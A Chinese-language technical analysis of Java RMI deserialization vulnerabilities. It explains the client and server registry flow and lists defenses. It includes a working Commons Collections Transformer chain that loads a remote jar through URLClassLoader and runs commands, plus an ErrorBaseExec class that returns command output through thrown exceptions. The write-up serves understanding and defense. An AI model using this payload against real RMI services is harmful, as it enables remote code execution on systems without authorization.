JAVA RMI 反序列化流程原理分析
字数 1554 2025-08-29 08:32:09
JAVA RMI 反序列化流程原理分析
1. RMI 反序列化漏洞概述
Java RMI (Remote Method Invocation) 反序列化漏洞是一种严重的安全问题,攻击者可以通过构造恶意的序列化对象,在RMI通信过程中触发服务端的反序列化操作,从而执行任意代码。
2. 漏洞利用原理
2.1 基本利用流程
- 攻击者作为RMI客户端连接到目标RMI服务
- 客户端构造恶意的序列化对象(通常利用Apache Commons Collections等库的漏洞)
- 通过RMI协议将恶意对象发送到服务端
- 服务端在反序列化过程中执行恶意代码
2.2 关键利用代码分析
// 构造Transformer链
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] {Class[].class},
new Object[] {new Class[] {java.net.URL[].class}}),
new InvokerTransformer("newInstance", new Class[] {Object[].class},
new Object[] {new Object[] {new java.net.URL[] {new java.net.URL(remotejar)}}}),
new InvokerTransformer("loadClass", new Class[] {String.class},
new Object[] {"exploit.ErrorBaseExec"}),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class},
new Object[] {"do_exec", new Class[] {String.class}}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class},
new Object[] {null, new String[] {command}})
};
这段代码构造了一个Transformer链,通过一系列反射调用最终实现远程代码执行。
3. RMI通信流程分析
3.1 客户端流程
-
获取Registry:客户端通过
LocateRegistry.getRegistry(ip, port)获取Registry实例- 返回的是
RegistryImpl_Stub对象
- 返回的是
-
构造恶意对象:
- 利用
AnnotationInvocationHandler包装恶意Transformer链 - 通过动态代理创建Remote对象
- 利用
-
绑定操作:
- 调用
registry.bind("pwned", r)发送恶意对象 - 底层通过
StreamRemoteCall进行网络通信
- 调用
3.2 服务端流程
-
创建Registry:
- 服务端通过
LocateRegistry.createRegistry(port)创建Registry - 返回的是
RegistryImpl对象
- 服务端通过
-
处理请求:
- 服务端监听端口,接收客户端连接
- 通过
RegistryImpl_Skel处理客户端请求 - 根据操作码(0-4)执行相应操作
-
反序列化触发:
- 在解析客户端请求时进行反序列化
- 恶意对象在反序列化过程中触发漏洞
4. 关键类分析
4.1 RegistryImpl_Stub (客户端)
- 负责与远程Registry通信
bind()方法流程:- 创建
StreamRemoteCall - 写入操作码(0表示bind)
- 序列化并发送name和Remote对象
- 等待服务端响应
- 创建
4.2 RegistryImpl_Skel (服务端)
- 负责处理客户端请求
dispatch()方法根据操作码执行不同操作:- 0 -> bind
- 1 -> list
- 2 -> lookup
- 3 -> rebind
- 4 -> unbind
4.3 异常处理机制
- 服务端异常会以序列化形式返回客户端
- 客户端通过检查返回值(2表示异常)获取异常信息
- 利用这一机制实现命令执行结果的回显
5. 漏洞利用细节
5.1 反序列化触发点
漏洞触发发生在服务端处理客户端请求时的反序列化过程:
- 客户端发送bind请求
- 服务端
RegistryImpl_Skel解析请求 - 反序列化Remote对象时触发恶意代码
5.2 报错回显机制
远程利用类ErrorBaseExec通过抛出异常返回命令执行结果:
public static void do_exec(String cmd) throws Exception {
final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();
if (exitValue == 0) {
throw new Exception("-r\n" + (new String(stdout)) + "-r\n");
} else {
throw new Exception("-r\n" + (new String(stderr)) + "-r\n");
}
}
6. 防御措施
- 升级JDK,使用最新安全补丁
- 限制RMI服务的网络访问
- 使用安全管理器限制反序列化操作
- 替换或移除存在漏洞的库(如commons-collections)
- 使用白名单机制控制可反序列化的类
7. 总结
RMI反序列化漏洞的核心在于:
- RMI协议本身使用Java序列化进行通信
- 服务端在处理请求时会自动反序列化客户端发送的对象
- 利用Apache Commons Collections等库的漏洞构造恶意对象
- 通过异常机制实现命令执行结果的回显
理解这一漏洞需要深入分析RMI的通信机制和Java反序列化过程,特别是客户端和服务端之间的交互细节。